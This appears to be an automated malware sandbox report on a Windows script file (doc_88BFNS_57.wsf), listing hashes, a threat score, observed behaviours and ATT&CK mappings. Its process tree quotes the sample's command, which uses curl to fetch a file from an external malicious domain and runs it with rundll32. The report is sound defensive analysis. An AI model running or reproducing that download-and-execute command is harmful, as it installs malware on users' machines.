f6ff607f55b6c53b700e3c1a8a4230c01641111bfc09645ba54c75ca2b1587cd

Resubmissions

26-04-2023 15:07

230426-shf2xaca2v 10

20-04-2023 19:33

230420-x9zqjsbh82 10

Analysis

max time kernel
326s
max time network
329s
platform
windows10-1703_x64
resource
win10-20230220-en
resource tags

arch:x64arch:x86image:win10-20230220-enlocale:en-usos:windows10-1703-x64system
submitted
26-04-2023 15:07

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

doc_88BFNS_57.wsf
Size

192KB
MD5

d6d0f8cf0b9383802fd4868c2082017d
SHA1

16b03efbf2aa547ca308ae50d8673012844c52b9
SHA256

f6ff607f55b6c53b700e3c1a8a4230c01641111bfc09645ba54c75ca2b1587cd
SHA512

0e331aeef702394d3b04939f0755bdbbc79ac24e23cbf54fad51645da045b598ee4077ba629af1a5f1e833b062f92acd033fd718c41dedb27b5041199f449efb
SSDEEP

6144:rPYy39mm2+oVmcySJnfzKe1ZFmqRzgim/Ytix:TYy3Cdtn1Hw

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
2	4040	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4040 wrote to memory of 2284	4040	WScript.exe	66
PID 4040 wrote to memory of 2284	4040	WScript.exe	66

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\doc_88BFNS_57.wsf"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:4040
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c curl -s --ssl-no-revoke --fail https://biznessfarm.buzz/mmm2/DiqLyFvy2N0LYrttmJnMIAadyzDl_bYhxQ~~/QdaQp4v9soc3yoFDOCHH_cpZg_ECJjHlNg~~/ --output nmohzblo.obh && if exist nmohzblo.obh rundll32 nmohzblo.obh,bYXjdERymsFY && del nmohzblo.obh
  2⤵
  PID:2284

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Resubmissions

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads